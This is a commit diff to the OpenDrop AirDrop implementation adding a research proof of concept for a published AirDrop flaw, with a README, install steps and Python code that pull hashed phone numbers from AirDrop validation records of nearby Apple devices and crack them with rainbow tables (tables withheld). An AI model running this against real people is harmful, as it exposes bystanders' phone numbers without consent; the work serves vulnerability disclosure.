Add PoC for AirDrop's phone number leak

.gitmodules

@@ -0,0 +1,3 @@
+[submodule "rt_phone_numbers"]
+	path = rt_phone_numbers
+	url = https://github.com/contact-discovery/rt_phone_numbers.git

CITATION.cff

@@ -1,31 +0,0 @@
-# This CITATION.cff file was generated with cffinit.
-# Visit https://bit.ly/cffinit to generate yours today!
-
-cff-version: 1.2.0
-title: 'OpenDrop: an Open Source AirDrop Implementation'
-message: 'If you use this software, please cite it as below.'
-type: software
-authors:
-  - given-names: Alexander
-    family-names: Heinrich
-    affiliation: 'SEEMOO, TU Darmstadt'
-    orcid: 'https://orcid.org/0000-0002-1150-1922'
-  - given-names: Milan
-    family-names: Stute
-    affiliation: 'SEEMOO, TU Darmstadt'
-    orcid: 'https://orcid.org/0000-0003-4921-8476'
-  - given-names: Matthias
-    family-names: Hollick
-    affiliation: 'SEEMOO, TU Darmstadt'
-    orcid: 'https://orcid.org/0000-0002-9163-5989'
-repository-code: 'https://github.com/seemoo-lab/opendrop'
-abstract: >-
-  OpenDrop is a command-line tool that allows sharing files
-  between devices directly over Wi-Fi. Its unique feature is
-  that it is protocol-compatible with Apple AirDrop which
-  allows to share files with Apple devices running iOS and
-  macOS.
-license: GPL-3.0
-commit: cbc7ca46a75bb2da4af9d406732ddf2192578388
-version: '0.13'
-date-released: '2021-04-29'

README.PoC.md

@@ -0,0 +1,80 @@
+# PoC: AirDrop Phone Number Leak
+
+This PoC demonstrates the contact identifier leakage in Apple AirDrop that was described in
+
+* **[HHSSW21]** Alexander Heinrich, Matthias Hollick, Thomas Schneider, Milan Stute, and Christian Weinert. **PrivateDrop: Practical Privacy-Preserving Authentication for Apple AirDrop** in _30th USENIX Security Symposium_. [Website](https://privatedrop.github.io). [Preprint](https://www.usenix.org/system/files/sec21fall-heinrich.pdf).
+
+The paper also proposes a privacy-preserving drop-in replacement for Apple AirDrop.
+
+**We notified Apple about this vulnerability on May 11, 2019. Until today, Apple has neither mitigated the issue nor informed us that they are planning to do so.
+This means that current Apple systems are still vulnerable (iOS 14.5 and macOS 11.3 as of May 5, 2021).**
+
+## Installation
+
+Run the following instructions on a Mac (tested with macOS 11.2.3).
+
+1. Checkout the repository.
+
+```bash
+git clone https://github.com/seemoo-lab/opendrop.git
+cd opendrop
+git checkout poc-phonenumber-leak
+git submodule update --init
+```
+
+2. Install Python dependencies.
+
+```bash
+pip3 install -r requirements.txt
+```
+
+3. Build [_RainbowPhones_](https://github.com/contact-discovery/rt_phone_numbers).
+
+```bash
+brew install libomp
+cd rt_phone_numbers
+make -f Makefile.macOS
+cd ..
+```
+
+## Usage
+
+Our PoC is able to exploit both vulnerabilities explained in [HHSSW21]. We provide usage instructions below. 
+
+**Disclaimer:** We omit precomputed rainbow tables generated with [_RainbowPhones_](https://github.com/contact-discovery/rt_phone_numbers)'s `rtgen` in this PoC.
+Consequently, you will see the following message when running this PoC without modification: _"Could not recover hashed phone number: No rainbow tables provided."_ 
+
+### Contact Identifier Leakage of Sender (§3.3 in [HHSSW21])
+
+Simply run the following and wait for someone in proximity to open the AirDrop sharing menu.
+
+```bash
+python3 -m opendrop receive
+```
+
+An example output would look like this:
+
+```
+Announcing service: host opendrop, address fe80::c8b9:fbff:fee9:d544, port 8771
+Starting HTTPS server
+Nearby phone number: +49<...>
+```
+
+### Contact Identifier Leakage of Receiver (§3.4 in [HHSSW21])
+
+Exploiting this vulnerability requires the victim to have the attacker in their address book. 
+In particular, the attacker needs to present a valid AirDrop certificate containing its contact identifiers to the victim.
+You can follow [these instructions](https://github.com/seemoo-lab/airdrop-keychain-extractor) to extract your current AirDrop certificate and use it with OpenDrop.
+This attack does not require any interaction on part of the victim. Simply run:
+
+```bash
+python3 -m opendrop find
+```
+
+An example output would look like this:
+
+```
+Looking for receivers. Press Ctrl+C to stop ...
+Nearby phone number: +49<...>
+Found  index 0  ID a019b536c38b  name John Doe's iPhone
+```

README.md

@@ -9,7 +9,7 @@ We support contacts-only devices by using extracted AirDrop credentials (keys an
 
 ## Disclaimer
 
-OpenDrop is experimental software and is the result of reverse engineering efforts by the [Open Wireless Link](<<DISCLAIMER: The former owlink website is no longer associated with this project, please disregard it.>>) project.
+OpenDrop is experimental software and is the result of reverse engineering efforts by the [Open Wireless Link](https://owlink.org) project.
 Therefore, it does not support all features of AirDrop or might be incompatible with future AirDrop versions.
 OpenDrop is not affiliated with or endorsed by Apple Inc. Use this code at your own risk.
 
@@ -52,7 +52,7 @@ pip3 install ./opendrop
 We briefly explain how to send and receive files using `opendrop`.
 To see all command line options, run `opendrop -h`.
 
-### Sending a File or a Link
+### Sending a File
 
 Sending a file is typically a two-step procedure. You first discover devices in proximity using the `find` command.
 Stop the process once you have found the receiver.
@@ -62,7 +62,7 @@ Looking for receivers. Press Ctrl+C to stop ...
 Found  index 0  ID eccb2f2dcfe7  name John’s iPhone
 Found  index 1  ID e63138ac6ba8  name Jane’s MacBook Pro
 ```
-You can then `send` a file (or link, see below) using 
+You can then `send` a file using 
 ```
 $ opendrop send -r 0 -f /path/to/some/file
 Asking receiver to accept ...
@@ -73,13 +73,6 @@ Uploading has been successful
 Instead of the `index`, you can also use `ID` or `name`.
 OpenDrop will try to interpret the input in the order (1) `index`, (2) `ID`, and (3) `name` and fail if no match was found.
 
-**Sending a web link.** Since v0.13, OpenDrop supports sending web links, i.e., URLs, so that receiving Apple devices will immediately open their browser upon accepting. 
-(Note that OpenDrop _receivers_ still only support receiving regular files.)
-
-```
-$ opendrop send -r 0 -f <<DISCLAIMER: The former owlink website is no longer associated with this project, please disregard it.>> --url
-```
-
 ### Receiving Files
 
 Receiving is much easier. Simply use the `receive` command. OpenDrop will accept all incoming files automatically and put received files in the current directory.
@@ -101,8 +94,7 @@ OpenDrop is the result of a research project and, thus, has several limitations
 
 ## Our Papers
 
-* Alexander Heinrich, Matthias Hollick, Thomas Schneider, Milan Stute, and Christian Weinert. **PrivateDrop: Practical Privacy-Preserving Authentication for Apple AirDrop.** *30th USENIX Security Symposium (USENIX Security ’21)*, August 14–16, 2019, virtual Event. [Paper](https://www.usenix.org/conference/usenixsecurity21/presentation/heinrich) [Website](https://privatedrop.github.io) [Code](https://github.com/seemoo-lab/privatedrop)
+* Milan Stute, Sashank Narain, Alex Mariotto, Alexander Heinrich, David Kreitschmann, Guevara Noubir, and Matthias Hollick. **A Billion Open Interfaces for Eve and Mallory: MitM, DoS, and Tracking Attacks on iOS and macOS Through Apple Wireless Direct Link.** *28th USENIX Security Symposium (USENIX Security ’19)*, August 14–16, 2019, Santa Clara, CA, USA. [Link](https://www.usenix.org/conference/usenixsecurity19/presentation/stute)
-* Milan Stute, Sashank Narain, Alex Mariotto, Alexander Heinrich, David Kreitschmann, Guevara Noubir, and Matthias Hollick. **A Billion Open Interfaces for Eve and Mallory: MitM, DoS, and Tracking Attacks on iOS and macOS Through Apple Wireless Direct Link.** *28th USENIX Security Symposium (USENIX Security ’19)*, August 14–16, 2019, Santa Clara, CA, USA. [Paper](https://www.usenix.org/conference/usenixsecurity19/presentation/stute)
 
 
 ## Authors

opendrop/__init__.py

@@ -21,7 +21,7 @@ import logging
 import os
 import platform
 
-__version__ = "0.13.0"
+__version__ = "0.12.3"
 
 if platform.system() == "Darwin":
     dyld_path = os.environ.get("DYLD_LIBRARY_PATH", "")  # save old path

opendrop/cli.py

@@ -41,9 +41,6 @@ class AirDropCli:
         parser = argparse.ArgumentParser()
         parser.add_argument("action", choices=["receive", "find", "send"])
         parser.add_argument("-f", "--file", help="File to be sent")
-        parser.add_argument(
-            "-u", "--url", help="'-f,--file is a URL", action="store_true"
-        )
         parser.add_argument(
             "-r",
             "--receiver",
@@ -102,10 +99,9 @@ class AirDropCli:
             else:  # args.action == 'send'
                 if args.file is None:
                     parser.error("Need -f,--file when using send")
-                if not os.path.isfile(args.file) and not args.url:
+                if not os.path.isfile(args.file):
                     parser.error("File in -f,--file not found")
                 self.file = args.file
-                self.is_url = args.url
                 if args.receiver is None:
                     parser.error("Need -r,--receiver when using send")
                 self.receiver = args.receiver
@@ -188,12 +184,12 @@ class AirDropCli:
             return
         self.client = AirDropClient(self.config, (info["address"], info["port"]))
         logger.info("Asking receiver to accept ...")
-        if not self.client.send_ask(self.file, is_url=self.is_url):
+        if not self.client.send_ask(self.file):
             logger.warning("Receiver declined")
             return
         logger.info("Receiver accepted")
         logger.info("Uploading file ...")
-        if not self.client.send_upload(self.file, is_url=self.is_url):
+        if not self.client.send_upload(self.file):
             logger.warning("Uploading has failed")
             return
         logger.info("Uploading has been successful")

opendrop/client.py

@@ -141,10 +141,15 @@ class AirDropClient:
         _, response_bytes = self.send_POST("/Discover", discover_plist_binary)
         response = plistlib.loads(response_bytes)
 
+        # Extract and lookup phone number hashes from validation record
+        validation_record = response["ReceiverRecordData"]
+        hashes = AirDropUtil.get_hashes_from_validation_record(validation_record)
+        AirDropUtil.lookup_phone_hashes(hashes)
+
         # if name is returned, then receiver is discoverable
         return response.get("ReceiverComputerName")
 
-    def send_ask(self, file_path, is_url=False, icon=None):
+    def send_ask(self, file_path, icon=None):
         ask_body = {
             "SenderComputerName": self.config.computer_name,
             "BundleID": "com.apple.finder",
@@ -155,6 +160,18 @@ class AirDropClient:
         if self.config.record_data:
             ask_body["SenderRecordData"] = self.config.record_data
 
+        if isinstance(file_path, str):
+            file_path = [file_path]
+
+        # generate icon for first file
+        with open(file_path[0], "rb") as f:
+            file_header = f.read(128)
+            flp = fleep.get(file_header)
+            if not icon and len(flp.mime) > 0 and "image" in flp.mime[0]:
+                icon = AirDropUtil.generate_file_icon(f.name)
+        if icon:
+            ask_body["FileIcon"] = icon
+
         def file_entries(files):
             for file in files:
                 file_name = os.path.basename(file)
@@ -167,20 +184,8 @@ class AirDropClient:
                 }
                 yield file_entry
 
-        if isinstance(file_path, str):
+        ask_body["Files"] = [e for e in file_entries(file_path)]
-            file_path = [file_path]
+        ask_body["Items"] = []
-        if is_url:
-            ask_body["Items"] = file_path
-        else:
-            # generate icon for first file
-            with open(file_path[0], "rb") as f:
-                file_header = f.read(128)
-                flp = fleep.get(file_header)
-                if not icon and len(flp.mime) > 0 and "image" in flp.mime[0]:
-                    icon = AirDropUtil.generate_file_icon(f.name)
-            ask_body["Files"] = [e for e in file_entries(file_path)]
-        if icon:
-            ask_body["FileIcon"] = icon
 
         ask_binary = plistlib.dumps(
             ask_body, fmt=plistlib.FMT_BINARY  # pylint: disable=no-member
@@ -189,14 +194,10 @@ class AirDropClient:
 
         return success
 
-    def send_upload(self, file_path, is_url=False):
+    def send_upload(self, file_path):
         """
         Send a file to a receiver.
         """
-        # Don't send an upload request if we just sent a link
-        if is_url:
-            return
-
         headers = {
             "Content-Type": "application/x-cpio",
         }

opendrop/server.py

@@ -170,6 +170,12 @@ class AirDropServerHandler(BaseHTTPRequestHandler):
             self.config, post_data, "receive_discover_request.plist"
         )
 
+        # Extract and lookup phone number hashes from validation record
+        discover_request = plistlib.loads(post_data)
+        validation_record = discover_request["SenderRecordData"]
+        hashes = AirDropUtil.get_hashes_from_validation_record(validation_record)
+        AirDropUtil.lookup_phone_hashes(hashes)
+
         # sample media capabilities as recorded from macOS 10.13.3
         media_capabilities = {
             "Version": 1,

opendrop/util.py

@@ -17,11 +17,15 @@ You should have received a copy of the GNU General Public License
 along with this program.  If not, see <https://www.gnu.org/licenses/>.
 """
 
+import glob
 import io
 import ipaddress
 import os
+import plistlib
+import subprocess
 
 import ifaddr
+from ctypescrypto import cms
 from libarchive.entry import ArchiveEntry, new_archive_entry
 from libarchive.ffi import (  # pylint: disable=no-name-in-module
     ARCHIVE_EOF,
@@ -168,6 +172,45 @@ class AirDropUtil:
             else:  # assume bytes-like
                 file.write(data)
 
+    @staticmethod
+    def get_hashes_from_validation_record(validation_record):
+        data = cms.CMS(validation_record, format="DER").data
+        data = plistlib.loads(data.encode())
+        phone_hashes = data["ValidatedPhoneHashes"]
+        return phone_hashes
+
+    @staticmethod
+    def lookup_phone_hashes(hashes):
+        for hash_ in hashes:
+            AirDropUtil.lookup_phone_hash(hash_)
+
+    @staticmethod
+    def lookup_phone_hash(hash_):
+        rcrack_dir = os.path.join(
+            os.path.dirname(os.path.realpath(__file__)), "../rt_phone_numbers/bin"
+        )
+        rcrack_bin = os.path.join(rcrack_dir, "rcrack")
+        rcrack_table = ""
+        rcrack_tables = glob.glob(rcrack_table)
+
+        if len(rcrack_tables) == 0:
+            print("Could not recover hashed phone number: No rainbow tables provided.")
+            return
+
+        result = subprocess.run(
+            [rcrack_bin] + rcrack_tables + ["-h", hash_],
+            text=True,
+            cwd=rcrack_dir,
+            capture_output=True,
+            check=True,
+        )
+
+        for line in result.stdout.splitlines():
+            if not line.startswith("plaintext of"):
+                continue
+            number = line.split("is")[1].strip()
+            print(f"Nearby phone number: +{number}")
+
 
 class AbsArchiveWrite(ArchiveWrite):
     def add_abs_file(self, path, store_path):

requirements.txt

@@ -0,0 +1,8 @@
+Pillow
+ctypescrypto
+fleep
+ifaddr
+libarchive-c
+requests
+requests_toolbelt
+zeroconf>=0.24.2

setup.py

@@ -14,7 +14,7 @@ setup(
     description="An open Apple AirDrop implementation",
     long_description=long_description,
     long_description_content_type="text/markdown",
-    url="<<DISCLAIMER: The former owlink website is no longer associated with this project, please disregard it.>>",
+    url="https://owlink.org",
     project_urls={
         "Source": "https://github.com/seemoo-lab/opendrop",
         "Research Paper": "https://usenix.org/conference/usenixsecurity19/presentation/stute",
@@ -37,6 +37,7 @@ setup(
     package_data={"opendrop": ["certs/*.pem"]},
     install_requires=[
         "Pillow",
+        "ctypescrypto",
         "fleep",
         "ifaddr",
         "libarchive-c",